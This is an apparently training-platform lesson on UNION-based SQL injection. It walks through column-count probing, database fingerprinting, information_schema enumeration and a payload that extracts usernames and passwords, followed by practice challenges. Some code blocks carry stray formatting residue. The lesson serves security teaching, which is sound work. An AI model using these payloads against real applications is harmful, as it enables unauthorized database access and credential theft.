Extract data from databases using UNION-based SQL injection techniques
Learning Objectives
Understand UNION-based injection technique
Determine the number of columns in a query
Extract data from different tables
Enumerate database schema
Extracting Data Like a Pro
Bypassing a login is cool and all, but what if you want to actually read the database? What if you want to see all usernames, passwords, credit card numbers, or whatever secrets lurk in those tables? That's where UNION-based SQL injection comes in.
Think of it like this: you're at a restaurant, and you ordered a salad. But you've figured out how to tell the kitchen to also bring you the dessert menu, the staff schedule, and the safe combination. You're combining orders in ways the restaurant never intended.
UNION-based SQL injection is one of the most powerful and commonly used techniques for extracting data. It works when you can see the query results directly on the page (unlike blind SQLi where you can't).
In SQL, UNION combines the results of two or more SELECT statements into a single result set. Here's a legitimate use case:
sql
1-- Get a list of all active users and all admins
2SELECT username, email FROM active_users
3UNION
4SELECT username, email FROM admins;
5
6-- Result: A combined list from both tables
7-- +----------+-------------------+
8-- | username | email |
9-- +----------+-------------------+
10-- | alice | alice@company.com |
11-- | bob | bob@company.com |
12-- | admin | admin@company.com |
13-- +----------+-------------------+
Now here's the key insight: if you can inject into a SQL query, you can add your own UNION SELECT to retrieve data from anytable in the database!
The Golden Rules of UNION
For a UNION to work, there are strict requirements:
Same number of columns - Both SELECT statements must return the same number of columns
Compatible data types - The columns must have compatible types (or be convertible)
sql
1-- This works (same number of columns):
2SELECT name, price FROM products
3UNION
4SELECT username, password FROM users;
5
6-- This FAILS (different number of columns):
7SELECT name, price, description FROM products
8UNION
9SELECT username, password FROM users; -- Error! 3 columns vs 2 columns
10
11-- This also FAILS (incompatible types in some databases):
12SELECT id, name FROM products -- id is INTEGER
13UNION
14SELECT email, password FROM users; -- email is VARCHAR
15-- Some databases require id and email to be the same type
Step 1: Finding the Number of Columns
Before you can write a successful UNION injection, you need to know how many columns the original query returns. There are two techniques:
Method 1: ORDER BY
The ORDER BY clause lets you sort results by column number. Keep incrementing until you get an error:
1606070;"># Try sorting by each column number
2?id=1 ORDER BY 1-- 606070;"># Works
3?id=1 ORDER BY 2-- 606070;"># Works
4?id=1 ORDER BY 3-- 606070;"># Works
5?id=1 ORDER BY 4-- 606070;"># ERROR! "Unknown column '4' in order clause"
6
7606070;"># The error tells us there are only 3 columns!
Use responsibly
' ORDER BY 1--
Use responsibly
' ORDER BY 5--
Method 2: UNION SELECT NULL
Try UNION with increasing numbers of NULL values until the query works:
1606070;"># Try UNION with increasing NULLs
2?id=1' UNION SELECT NULL-- 606070;"># Error (need more columns)
3?id=1' UNION SELECT NULL,NULL-- 606070;"># Error (need more columns)
4?id=1' UNION SELECT NULL,NULL,NULL-- 606070;"># Success! The query works
5
6606070;"># We've confirmed 3 columns!
Use responsibly
' UNION SELECT NULL,NULL,NULL--
Why NULL? Because NULL is compatible with any data type. It works whether the column expects a string, number, or date.
Step 2: Finding Which Columns Display
Not all columns might be visible on the page. A query might select 5 columns but only display 2 of them. You need to find which column positions show up in the output.
sql
1-- Replace NULL with numbers to see which appear on the page
2' UNIONSELECT1,2,3--
3
4-- Or use identifiable strings
5606070;">#a5d6ff;">' UNIONSELECT 'a','b','c'--
6
7-- On the page you might see:
8-- 606070;">#a5d6ff;">"Product: a" <- Column 1 is visible
9-- 606070;">#a5d6ff;">"Price: 2" <- Column 2 is visible (converted to number)
10-- Column 3 might not be displayed anywhere!
Use responsibly
' UNION SELECT 'VISIBLE1','VISIBLE2','VISIBLE3'--
Look for your injected values on the page. Maybe they appear in a product name, a table cell, or even in hidden HTML. Inspect the source code if needed!
Step 3: Extracting the Juicy Data
Now for the fun part. Once you know which columns are visible, you can put actual data extractions in those positions.
Extracting Database Version
First, let's identify what database we're dealing with:
sql
1-- For MySQL:
2' UNIONSELECT @@version,NULL,NULL--
3
4-- For PostgreSQL:
5' UNIONSELECT version(),NULL,NULL--
6
7-- For MSSQL:
8' UNIONSELECT @@version,NULL,NULL--
9
10-- For Oracle:
11' UNIONSELECT banner,NULL,NULLFROM v$version WHERE ROWNUM=1--
Let's walk through a complete UNION attack on a vulnerable product page:
Full UNION SQLi Attack
1
Confirm SQLi ExistsTest with a single quote: ?category=Electronics' If you get an error, SQLi is likely!
2
Find Column CountUse ORDER BY:
?category=Electronics' ORDER BY 1-- Works
?category=Electronics' ORDER BY 2-- Works
?category=Electronics' ORDER BY 3-- Error
Result: 2 columns!
3
Find Visible Columns?category=' UNION SELECT 'test1','test2'-- Check the page to see which values appear.
4
Get Database Info?category=' UNION SELECT @@version,database()-- Learn what DBMS and current database you're in.
5
List Tables?category=' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- Find interesting tables like 'users', 'accounts', 'customers'.
6
List Columns?category=' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- Find columns like 'username', 'password', 'email'.
7
Extract Data!?category=' UNION SELECT CONCAT(username,':',password),email FROM users-- Get those credentials!
Practice: Build Your UNION Injection
UNION Column Finder
text
A vulnerable page has this query:
SELECT name, price, description FROM products WHERE category = '[INPUT]'
Your task: Write a payload to determine the exact number of columns.
Then write a second payload to extract the database version.
The database is MySQL.
Database Heist
Challenge
🔥 medium
You've found a vulnerable search page on an e-commerce site. The query is:
SELECT product_id, name, price FROM products WHERE name LIKE '%[search]%'
Your mission:
1. Find the current database name
2. List all tables in the database
3. Find a table called 'customers' and extract all emails
The database is MySQL. Write out all the payloads you would use.
Need a hint? (4 available)
Advanced: Type Juggling
Challenge
💀 hard
You've found SQL injection, but there's a problem. The query is:
SELECT id, name, price FROM products WHERE id = [input]
Note: 'id' is an INTEGER column, not a string!
When you try ' UNION SELECT 1,'test',3--, the 'test' appears as 0 on the page.
How do you extract string data (like usernames) when the visible column only displays numbers?
Need a hint? (4 available)
UNION SQLi Knowledge Check
Question 1 of 5
What must be true for a UNION query to work?
Key Takeaways
UNION combines results from multiple SELECT statements - but column counts must match
Use ORDER BY or UNION SELECT NULL to determine column count
Test with visible strings to find which columns display on the page
Use information_schema to discover databases, tables, and columns
CONCAT and GROUP_CONCAT let you combine multiple values into visible columns
Use LIMIT and OFFSET to retrieve rows one at a time if needed
Different databases have different syntax - know your target!